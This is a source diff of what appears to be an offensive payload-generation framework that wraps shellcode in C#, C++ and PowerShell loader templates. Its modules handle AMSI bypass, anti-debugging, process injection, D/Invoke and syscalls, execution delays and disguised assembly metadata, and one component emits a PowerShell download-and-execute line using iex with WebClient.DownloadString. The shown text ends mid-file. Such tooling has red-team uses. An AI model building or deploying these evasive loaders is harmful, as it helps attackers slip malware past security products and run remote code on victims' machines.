|
||||
with open(path, "r") as template_file:
|
||||
raw_template = template_file.read()
|
||||
except Exception as e:
|
||||
print(f"[-] Exception in load_template while opening template file {path}")
|
||||
print(f"[-] Exception: {e}")
|
||||
return
|
||||
if raw_template.find(self.shellcode_placeholder) < 0:
|
||||
raise TemplateException(f"[-] Error: Template missing SHELLCODE placeholder!")
|
||||
self.identify_imports(raw_template)
|
||||
self.template = base64.b64encode(raw_template.encode())
|
||||
|
||||
def load_chain(self, chain: EncoderChain = None):
|
||||
modules = []
|
||||
if chain:
|
||||
modules, self.call_decode = chain.translate(language=self.language)
|
||||
if not chain.is_empty():
|
||||
self.shellcode_type = chain.last_element.decoder_in
|
||||
self.modules = [m for m in self.modules if not isinstance(m, EncoderModule)] + modules
|
||||
self.process_modules()
|
||||
|
||||
def process_modules(self):
|
||||
self.libraries = []
|
||||
self.components = []
|
||||
for module in self.modules:
|
||||
if not isinstance(module, EncoderModule) or (
|
||||
isinstance(module, EncoderModule) and module.name not in self.defined
|
||||
):
|
||||
self.libraries += module.libraries
|
||||
self.components += module.components
|
||||
self.defined.append(module.name)
|
||||
self.libraries = list(set(self.libraries))
|
||||
|
||||
def collect_sources(self):
|
||||
sources = []
|
||||
for module in self.modules:
|
||||
if isinstance(module, AssemblyInfoModule) or isinstance(module, AdditionalSourceModule):
|
||||
sources.append(module.path)
|
||||
return sources
|
||||
|
||||
def add_module(self, module):
|
||||
self.modules.append(module)
|
||||
|
||||
@staticmethod
|
||||
def fix_size(shellcode):
|
||||
return shellcode
|
||||
# Originally, shellcode was saved in "\x90" format
|
||||
# if len(shellcode) > 65535:
|
||||
# i_am_on_crack = [x for x in shellcode.split("\\x") if x != "" and x != " " and x is not None]
|
||||
# return "{0x" + ', 0x'.join(i_am_on_crack) + "}"
|
||||
# elif len(shellcode) > 10000:
|
||||
# rep = [shellcode[i:i + 10000] for i in range(0, len(shellcode), 10000)]
|
||||
# else:
|
||||
# rep = [shellcode]
|
||||
# return '"\n"'.join(rep)
|
||||
|
||||
def otf_replace(self, placeholder, code):
|
||||
raw_template = base64.b64decode(self.template).decode()
|
||||
raw_template = raw_template.replace(placeholder, code)
|
||||
self.template = base64.b64encode(raw_template.encode())
|
||||
|
||||
def craft(self, shellcode):
|
||||
if self.language == Language.CSHARP:
|
||||
if isinstance(shellcode, bytes):
|
||||
shellcode = hexlify(shellcode).decode()
|
||||
return "new byte[]{" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + "}"
|
||||
# shellcode = "".join([f"\\x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)])
|
||||
return f"\"{shellcode}\""
|
||||
elif self.language == Language.CPP:
|
||||
if isinstance(shellcode, bytes):
|
||||
shellcode = hexlify(shellcode).decode()
|
||||
shellcode = "{" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + "}"
|
||||
if isinstance(shellcode, str): # and not re.match(r"^(\\x[A-Fa-f0-9]{2})+$", shellcode):
|
||||
return Template.fix_size(shellcode)
|
||||
elif self.language == Language.POWERSHELL:
|
||||
if isinstance(shellcode, bytes):
|
||||
shellcode = hexlify(shellcode).decode()
|
||||
return "@(" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + ")"
|
||||
else:
|
||||
return f"\"{shellcode}\""
|
||||
|
||||
def clean(self, template):
|
||||
new_content = []
|
||||
regex = re.compile(r"^\s*//.*$")
|
||||
for line in template.split("\n"):
|
||||
if not regex.search(line):
|
||||
new_content.append(line)
|
||||
return "\n".join(new_content)
|
||||
|
||||
def generate(self, shellcode=None):
|
||||
raw_template = base64.b64decode(self.template).decode()
|
||||
for c in self.components:
|
||||
# Avoids duplicating imports
|
||||
if isinstance(c, UsingComponent):
|
||||
if c.code.strip() in self.imports:
|
||||
continue
|
||||
c.placeholder_style(language=self.language)
|
||||
raw_template = raw_template.replace(c.placeholder, c.code + f"\n{c.placeholder}")
|
||||
if shellcode:
|
||||
raw_template = raw_template.replace(self.shellcode_placeholder, self.craft(shellcode))
|
||||
raw_template = raw_template.replace(self.call_placeholder, self.call_decode + f"\n{self.call_placeholder}")
|
||||
raw_template = self.clean(raw_template)
|
||||
return raw_template
|
||||
|
||||
@property
|
||||
def content(self):
|
||||
return base64.b64decode(self.template).decode()
|
|
@ -0,0 +1,123 @@
|
|||
import os
|
||||
import sys
|
||||
import re
|
||||
import glob
|
||||
|
||||
from config.Config import Config
|
||||
from converters.Donut import Donut
|
||||
from converters.Loader import Loader
|
||||
from converters.Pe2Shellcode import Pe2sh
|
||||
from engine.Filter import Filter
|
||||
from engine.Template import Template
|
||||
from enums.Language import Language
|
||||
from utils.console import Console
|
||||
from utils.utils import get_project_root, isDotNet
|
||||
|
||||
|
||||
class TemplateFactory:
|
||||
|
||||
@staticmethod
|
||||
def from_path(path, language=Language.CSHARP, _filter: Filter = None):
|
||||
allfiles = []
|
||||
if os.path.isfile(path):
|
||||
return Template(path=path, language=language)
|
||||
elif os.path.isdir(path):
|
||||
allfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
|
||||
if _filter:
|
||||
allfiles = [f for f in allfiles if _filter.match(f)]
|
||||
if len(allfiles) > 1:
|
||||
temp = TemplateFactory.choose_template(allfiles)
|
||||
else:
|
||||
temp = allfiles[0]
|
||||
|
||||
path = os.path.join(path, temp)
|
||||
if not os.path.isfile(path=path):
|
||||
Console.auto_line(" [-] Error with template")
|
||||
sys.exit(1)
|
||||
return Template(path=path, language=language)
|
||||
|
||||
@staticmethod
|
||||
def from_converter(file=None,
|
||||
converter=None,
|
||||
language=Language.CSHARP,
|
||||
dinvoke=False,
|
||||
syscalls=False,
|
||||
pinject=False,
|
||||
_filter: Filter = None):
|
||||
base_directory, template, template_file = None, None, None
|
||||
artifact_type = None
|
||||
if file:
|
||||
filename, ext = os.path.splitext(file)
|
||||
artifact_type = ext.replace(".", "")
|
||||
|
||||
if language == Language.CPP:
|
||||
base_directory = Config().get("DIRECTORIES", "NATIVE")
|
||||
elif language == Language.POWERSHELL:
|
||||
base_directory = Config().get("DIRECTORIES", "POWERSHELL")
|
||||
elif language == language.CSHARP:
|
||||
base_directory = Config().get("DIRECTORIES", "DOTNET")
|
||||
else:
|
||||
Console.auto_line(f"[-] {language} Not supported")
|
||||
sys.exit(1)
|
||||
base_directory = os.path.join(get_project_root(), base_directory,
|
||||
"process_injection" if pinject else "code_execution")
|
||||
allfiles = [f for f in os.listdir(base_directory) if os.path.isfile(os.path.join(base_directory, f))]
|
||||
# print(allfiles)
|
||||
if not _filter:
|
||||
_filter = Filter()
|
||||
_filter.imode = "and"
|
||||
if artifact_type in ["exe", "dll"] and not isDotNet(file) and (
|
||||
isinstance(converter, Loader) or isinstance(converter, Pe2sh)):
|
||||
_filter.exclude.append("assembly_load")
|
||||
_filter.include.append("pe_load")
|
||||
elif artifact_type in ["exe", "dll"] and not isDotNet(file) and isinstance(converter, Donut):
|
||||
_filter.exclude.append("assembly_load")
|
||||
_filter.exclude.append("pe_load")
|
||||
else:
|
||||
_filter.exclude.append("pe_load")
|
||||
if dinvoke:
|
||||
_filter.include.append("dinvoke")
|
||||
else:
|
||||
_filter.exclude.append("dinvoke")
|
||||
if syscalls:
|
||||
_filter.include.append("syscalls")
|
||||
else:
|
||||
_filter.exclude.append("syscalls")
|
||||
|
||||
allfiles = [f for f in allfiles if _filter.match(f)]
|
||||
|
||||
if len(allfiles) == 0:
|
||||
Console.auto_line("[-] No template found with given criteria")
|
||||
sys.exit(1)
|
||||
elif len(allfiles) > 1:
|
||||
temp = TemplateFactory.choose_template(allfiles)
|
||||
else:
|
||||
temp = allfiles[0]
|
||||
|
||||
path = os.path.join(base_directory, temp)
|
||||
|
||||
if not os.path.isfile(path=path):
|
||||
Console.auto_line(
|
||||
f"[#] Template file: {template_file} does not support "
|
||||
f"{'process injection' if pinject else 'code execution'}"
|
||||
)
|
||||
sys.exit(1)
|
||||
t = Template(path=path, language=language)
|
||||
return t
|
||||
|
||||
@staticmethod
|
||||
def choose_template(templates: list):
|
||||
try:
|
||||
Console.auto_line("[*] Multiple compatible templates identified, choose one:")
|
||||
choice = -1
|
||||
for n, t in enumerate(templates, start=0):
|
||||
Console.auto_line(f" {n}: {t}")
|
||||
while not 0 <= choice <= len(templates) - 1:
|
||||
try:
|
||||
choice = int(input(" $> "))
|
||||
except ValueError:
|
||||
continue
|
||||
return templates[choice]
|
||||
except KeyboardInterrupt:
|
||||
Console.auto_line("[-] Aborting")
|
||||
sys.exit(1)
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class AntiDebugComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "ANTIDEBUG")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class ArgsComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "ARGS")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class BypassComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "BYPASS")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,17 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class CallComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDER", "CALL")
|
||||
super().__init__(code, placeholder)
|
||||
|
||||
def as_function_call(self, content, language=Language.CSHARP):
|
||||
if language == Language.CSHARP:
|
||||
return f"{self.code}({content})"
|
||||
elif language == Language.CPP:
|
||||
return f"{content}\n{self.code}"
|
||||
elif language == Language.POWERSHELL:
|
||||
return f"({self.code} {content})"
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class CodeComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "CODE")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,34 @@
|
|||
import re
|
||||
|
||||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class DefineComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None, language=Language.CPP):
|
||||
placeholder = Config().get("PLACEHOLDERS", "DEFINE")
|
||||
super().__init__(code, placeholder)
|
||||
self.__code = code
|
||||
self.language = language
|
||||
self.prefix = ""
|
||||
self.suffix = ""
|
||||
|
||||
@property
|
||||
def code(self):
|
||||
if self.language == Language.CSHARP:
|
||||
return f""
|
||||
elif self.language == Language.CPP:
|
||||
if not self.__code.find("#define") > -1:
|
||||
msg = self.prefix + "\n".join([f"#define {c.strip()}" for c in self.__code.split("\n") if len(c.strip()) > 0]) + self.suffix
|
||||
else:
|
||||
msg = f"{self.prefix}{self.__code}{self.suffix}"
|
||||
return msg
|
||||
elif self.language == Language.POWERSHELL:
|
||||
return f""
|
||||
else:
|
||||
return self.__code
|
||||
|
||||
def wrap_if_ndef(self):
|
||||
self.prefix = "#ifndef\n"
|
||||
self.suffix = "#endif\n"
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class DelayComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "DELAY")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class FindProcessComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "FIND_PROCESS")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,36 @@
|
|||
from abc import ABC
|
||||
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class TemplateModuleComponent(ABC):
|
||||
def __init__(self, code=None, placeholder=None, trail=False):
|
||||
self.placeholder = placeholder
|
||||
self.__code = code
|
||||
self.trail = trail
|
||||
|
||||
@property
|
||||
def code(self):
|
||||
if not self.trail:
|
||||
return self.__code
|
||||
else:
|
||||
return f"{self.__code};\n{self.placeholder}"
|
||||
|
||||
def as_function_call(self, content, language=None):
|
||||
pass
|
||||
|
||||
def use_ps_placeholder(self):
|
||||
self.placeholder = self.placeholder.replace("/", "")
|
||||
|
||||
def use_c_placeholder(self):
|
||||
if self.placeholder and self.placeholder[:2] != "//":
|
||||
self.placeholder = f"//{self.placeholder}"
|
||||
|
||||
def placeholder_style(self, language=None):
|
||||
if not language:
|
||||
return
|
||||
if language == Language.POWERSHELL:
|
||||
self.use_ps_placeholder()
|
||||
else:
|
||||
self.use_c_placeholder()
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
|
||||
|
||||
class UnhookComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None):
|
||||
placeholder = Config().get("PLACEHOLDERS", "UNHOOK")
|
||||
super().__init__(code, placeholder)
|
|
@ -0,0 +1,27 @@
|
|||
import re
|
||||
|
||||
from config.Config import Config
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class UsingComponent(TemplateModuleComponent):
|
||||
def __init__(self, code=None, language=Language.CSHARP):
|
||||
placeholder = Config().get("PLACEHOLDERS", "USING")
|
||||
super().__init__(code, placeholder)
|
||||
self.__code = code
|
||||
self.language = language
|
||||
|
||||
@property
|
||||
def code(self):
|
||||
if self.language == Language.CSHARP:
|
||||
return f"using {self.__code};"
|
||||
elif self.language == Language.CPP:
|
||||
return f"#include {self.__code}"
|
||||
elif self.language == Language.POWERSHELL:
|
||||
if re.search(r"^(http|ftp)", self.__code):
|
||||
return f'iex (([System.Net.WebClient]::new()).DownloadString("{self.__code}"));'
|
||||
else:
|
||||
return f'iex ([System.IO.File]::ReadAllBytes("{self.__code}"));'
|
||||
else:
|
||||
return self.__code
|
|
@ -0,0 +1,27 @@
|
|||
from config.Config import Config
|
||||
from engine.modules.TemplateModule import TemplateModule
|
||||
from enums.Architectures import Arch
|
||||
|
||||
|
||||
class AdditionalSourceModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
content = kwargs["kwargs"]["content"]
|
||||
if content:
|
||||
with open(self.path, "w") as source:
|
||||
source.write(content)
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, path, content=None, name=None, arch=Arch.x64):
|
||||
libraries = None
|
||||
components = None
|
||||
self.path = path
|
||||
if not name:
|
||||
name = "AdditionalSourceModule"
|
||||
super().__init__(name=name, libraries=libraries, components=components, arch=arch)
|
||||
|
||||
kwargs = {
|
||||
"content": content
|
||||
}
|
||||
self.generate(kwargs=kwargs)
|
|
@ -0,0 +1,115 @@
|
|||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import traceback
|
||||
|
||||
from compilers.ClCompiler import ClCompiler
|
||||
from compilers.CscCompiler import CscCompiler
|
||||
from config.Config import Config
|
||||
from engine.Filter import Filter
|
||||
from engine.TemplateFactory import TemplateFactory
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.DinvokeModule import DinvokeModule
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root, static_random_ascii_string
|
||||
|
||||
|
||||
class AmsiModule(TemplateModule):
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
dinvoke = kwargs["kwargs"]["dinvoke"]
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
libraries = None
|
||||
components = None
|
||||
bypass_mode = Config().get('MISC', 'bypass_mode')
|
||||
|
||||
if language == Language.POWERSHELL:
|
||||
path = str(Config().get_path("DIRECTORIES", "bypass"))
|
||||
allfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
|
||||
chosen = TemplateFactory.choose_template(allfiles)
|
||||
code = open(chosen, "r").read()
|
||||
components = [
|
||||
BypassComponent(code=code),
|
||||
]
|
||||
|
||||
elif language == Language.CSHARP:
|
||||
import_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
class_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
function_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
|
||||
dll = tempfile.NamedTemporaryFile(
|
||||
delete=True,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".dll"
|
||||
).name
|
||||
|
||||
kwargs = {
|
||||
"language": language,
|
||||
"dinvoke": dinvoke,
|
||||
"import": import_name,
|
||||
"class": class_name,
|
||||
"function": function_name,
|
||||
"dll": dll
|
||||
}
|
||||
|
||||
try:
|
||||
kwargs["template"] = self.generate(kwargs=kwargs)
|
||||
self.build(kwargs=kwargs)
|
||||
except:
|
||||
traceback.print_exc()
|
||||
print(f"[-] Exception building {self.__class__.__name__}")
|
||||
sys.exit(1)
|
||||
|
||||
components = [
|
||||
BypassComponent(f"{import_name}.{class_name}.{function_name}(\"{bypass_mode}\");"),
|
||||
UsingComponent(f"{import_name}", language=language)
|
||||
]
|
||||
libraries = [f"{dll}"]
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="AmsiBypass", libraries=libraries, components=components, arch=arch)
|
||||
|
||||
def generate(self, **kwargs):
|
||||
_filter = Filter(exclude=["dinvoke", "powershell"])
|
||||
if kwargs["kwargs"]["dinvoke"]:
|
||||
_filter = Filter(include=["dinvoke"], exclude=["powershell"])
|
||||
template = TemplateFactory.from_path(
|
||||
path=str(Config().get_path("DIRECTORIES", "bypass").absolute()),
|
||||
_filter=_filter
|
||||
)
|
||||
if kwargs["kwargs"]["dinvoke"]:
|
||||
template.add_module(TemplateModule.from_name("dinvoke", kwargs=kwargs["kwargs"]))
|
||||
|
||||
for k, v in zip(
|
||||
["import", "class", "function"],
|
||||
["####NAMESPACE####", "####CLASS####", "####FUNCTION####"]
|
||||
):
|
||||
|
||||
template.otf_replace(
|
||||
code=kwargs["kwargs"][k],
|
||||
placeholder=v
|
||||
)
|
||||
|
||||
template.process_modules()
|
||||
return template
|
||||
|
||||
def build(self, **kwargs):
|
||||
bypass_file = tempfile.NamedTemporaryFile(
|
||||
delete=False,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".cs"
|
||||
).name
|
||||
template = kwargs["kwargs"]["template"]
|
||||
with open(bypass_file, "w") as out:
|
||||
out.write(template.content)
|
||||
compiler = CscCompiler()
|
||||
compiler.default_dll_args(outfile=kwargs["kwargs"]["dll"])
|
||||
compiler.set_libraries(template.libraries)
|
||||
compiler.compile([bypass_file])
|
||||
|
|
@ -0,0 +1,155 @@
|
|||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import traceback
|
||||
|
||||
from compilers.ClCompiler import ClCompiler
|
||||
from compilers.CscCompiler import CscCompiler
|
||||
from compilers.LibCompiler import LibCompiler
|
||||
from config.Config import Config
|
||||
from engine.Filter import Filter
|
||||
from engine.TemplateFactory import TemplateFactory
|
||||
from engine.component.AntiDebugComponent import AntiDebugComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DefineComponent import DefineComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.DinvokeModule import DinvokeModule
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root, static_random_ascii_string
|
||||
|
||||
|
||||
class AntiDebugModule(TemplateModule):
|
||||
def __init__(self, **kwargs):
|
||||
libraries = []
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
import_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
class_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
function_name = static_random_ascii_string(min_size=3, max_size=10)
|
||||
|
||||
kwargs = {
|
||||
"dinvoke": False,
|
||||
"import": import_name,
|
||||
"class": class_name,
|
||||
"function": function_name,
|
||||
}
|
||||
|
||||
if language == Language.CSHARP:
|
||||
library = tempfile.NamedTemporaryFile(
|
||||
delete=True,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".dll"
|
||||
).name
|
||||
|
||||
components = [
|
||||
AntiDebugComponent(f"{import_name}.{class_name}.{function_name}();"),
|
||||
UsingComponent(import_name, language=language)
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
libraries.append("dbghelp.lib")
|
||||
library = tempfile.NamedTemporaryFile(
|
||||
delete=True,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".lib"
|
||||
).name
|
||||
|
||||
components = [
|
||||
CodeComponent(rf"""
|
||||
extern bool {function_name}(void);
|
||||
"""),
|
||||
AntiDebugComponent(rf"""
|
||||
if ({function_name}()){{
|
||||
exit(-1);
|
||||
}}
|
||||
""")
|
||||
]
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
try:
|
||||
kwargs["dll"] = library
|
||||
kwargs["language"] = language
|
||||
kwargs["template"] = self.generate(kwargs=kwargs)
|
||||
self.build(kwargs=kwargs)
|
||||
except:
|
||||
traceback.print_exc()
|
||||
print(f"[-] Exception building {self.__class__.__name__}")
|
||||
sys.exit(1)
|
||||
|
||||
libraries.append(library)
|
||||
super().__init__(name="AntiDebug", libraries=libraries, components=components, arch=arch)
|
||||
|
||||
def generate(self, **kwargs):
|
||||
if "language" not in kwargs["kwargs"].keys():
|
||||
raise NotImplementedError(f"Module {self.__class__.__name__} needs a language to build")
|
||||
language = kwargs["kwargs"]["language"]
|
||||
|
||||
if language == language.CSHARP:
|
||||
_filter = Filter(exclude=["dinvoke"])
|
||||
if kwargs["kwargs"]["dinvoke"]:
|
||||
_filter = Filter(include=["dinvoke"])
|
||||
|
||||
template = TemplateFactory.from_path(
|
||||
path=os.path.join(
|
||||
get_project_root(),
|
||||
Config().get("DIRECTORIES", "dotnet"),
|
||||
Config().get("DIRECTORIES", "antidebug")),
|
||||
_filter=_filter
|
||||
)
|
||||
else:
|
||||
template = TemplateFactory.from_path(
|
||||
path=os.path.join(
|
||||
get_project_root(),
|
||||
Config().get("DIRECTORIES", "native"),
|
||||
Config().get("DIRECTORIES", "antidebug"))
|
||||
)
|
||||
|
||||
for k, v in zip(
|
||||
["import", "class", "function"],
|
||||
["####NAMESPACE####", "####CLASS####", "####FUNCTION####"]
|
||||
):
|
||||
template.otf_replace(
|
||||
code=kwargs["kwargs"][k],
|
||||
placeholder=v
|
||||
)
|
||||
|
||||
if kwargs["kwargs"]["dinvoke"] and language == language.CSHARP:
|
||||
template.add_module(DinvokeModule(language=Language.CSHARP))
|
||||
|
||||
template.process_modules()
|
||||
return template
|
||||
|
||||
def build(self, **kwargs):
|
||||
if "language" not in kwargs["kwargs"].keys():
|
||||
raise NotImplementedError(f"Module {self.__class__.__name__} needs a language to build")
|
||||
language = kwargs["kwargs"]["language"]
|
||||
nodebug_file = tempfile.NamedTemporaryFile(
|
||||
delete=False,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
|
||||
).name
|
||||
if language == Language.CSHARP:
|
||||
nodebug_file += ".cs"
|
||||
else:
|
||||
nodebug_file += ".cpp"
|
||||
|
||||
template = kwargs["kwargs"]["template"]
|
||||
with open(nodebug_file, "w") as out:
|
||||
out.write(template.content)
|
||||
if language == Language.CSHARP:
|
||||
compiler = CscCompiler()
|
||||
compiler.default_dll_args(outfile=kwargs["kwargs"]["dll"])
|
||||
compiler.set_libraries(template.libraries)
|
||||
compiler.compile([nodebug_file])
|
||||
else:
|
||||
object_file = os.path.splitext(kwargs["kwargs"]["dll"])[0] + ".obj"
|
||||
compiler = ClCompiler()
|
||||
compiler.default_obj_args(outfile=object_file)
|
||||
compiler.set_libraries(["dbghelp.lib"])
|
||||
compiler.compile([nodebug_file])
|
||||
compiler = LibCompiler()
|
||||
compiler.default_args(outfile=kwargs["kwargs"]["dll"])
|
||||
compiler.compile([object_file])
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
import os
|
||||
import uuid
|
||||
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class AssemblyInfoModule(AdditionalSourceModule):
|
||||
def __init__(self,
|
||||
path,
|
||||
title,
|
||||
description="",
|
||||
company="",
|
||||
product="",
|
||||
copyright="",
|
||||
trademark="",
|
||||
assembly_version="1.0.0.0",
|
||||
file_version="1.0.0.0",
|
||||
guid=None,
|
||||
neutral_language="",
|
||||
com_visible=False,
|
||||
language=Language.CSHARP,
|
||||
arch=Arch.x64):
|
||||
content = ""
|
||||
if not guid:
|
||||
guid = str(uuid.uuid4())
|
||||
if language == Language.CSHARP:
|
||||
content = rf"""
|
||||
using System.Resources;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTitle("{title}")]
|
||||
[assembly: AssemblyDescription("{description}")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("{company}")]
|
||||
[assembly: AssemblyProduct("{product}")]
|
||||
[assembly: AssemblyCopyright("{copyright}")]
|
||||
[assembly: AssemblyTrademark("{trademark}")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: NeutralResourcesLanguage("{neutral_language}")]
|
||||
[assembly: ComVisible({'true' if com_visible else 'false'})]
|
||||
[assembly: Guid("{guid}")]
|
||||
[assembly: AssemblyVersion("{assembly_version}")]
|
||||
[assembly: AssemblyFileVersion("{file_version}")]
|
||||
"""
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
super().__init__(name="AssemblyInfoModule", path=path, content=content, arch=arch)
|
|
@ -0,0 +1,44 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DelayComponent import DelayComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Language import Language
|
||||
from utils.console import Console
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class DelayModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
|
||||
language = kwargs["kwargs"]["language"]
|
||||
seconds = kwargs["kwargs"]["seconds"]
|
||||
if not seconds or seconds == 0:
|
||||
Console.auto_line(f"[-] {self.__class__.__name__} requires --dinvoke!")
|
||||
sys.exit(1)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
components = [
|
||||
DelayComponent(code=f"System.Threading.Thread.Sleep({seconds}*1000);")
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
components = [
|
||||
DelayComponent(code=f"Sleep({seconds}*1000);")
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
components = [
|
||||
DelayComponent(code=f"sleep {seconds}")
|
||||
]
|
||||
else:
|
||||
raise ModuleNotCompatibleException()
|
||||
libraries = None
|
||||
super().__init__(name="Delay", libraries=libraries, components=components)
|
|
@ -0,0 +1,36 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
from config.Config import Config
|
||||
from engine.component.BypassComponent import BypassComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class DinvokeModule(TemplateModule):
|
||||
def generate(self, **kwargs):
|
||||
pass
|
||||
|
||||
def build(self, **kwargs):
|
||||
pass
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
language = kwargs["kwargs"]["language"]
|
||||
arch = kwargs["kwargs"]["arch"]
|
||||
|
||||
self.filter_String = "dinvoke"
|
||||
if language == Language.CSHARP:
|
||||
components = [
|
||||
UsingComponent("DynamicInvoke = DInvoke.DynamicInvoke", language=language)
|
||||
]
|
||||
libraries = [str(Config().get_path("DIRECTORIES", "libs").joinpath("DInvoke.dll"))]
|
||||
if Config().get("MISC", "release") == "private":
|
||||
libraries = [str(Config().get_path("DIRECTORIES", "libs").parent.joinpath("private", arch.value, "DInvoke.dll"))]
|
||||
elif language == Language.CPP:
|
||||
components = []
|
||||
libraries = None
|
||||
else:
|
||||
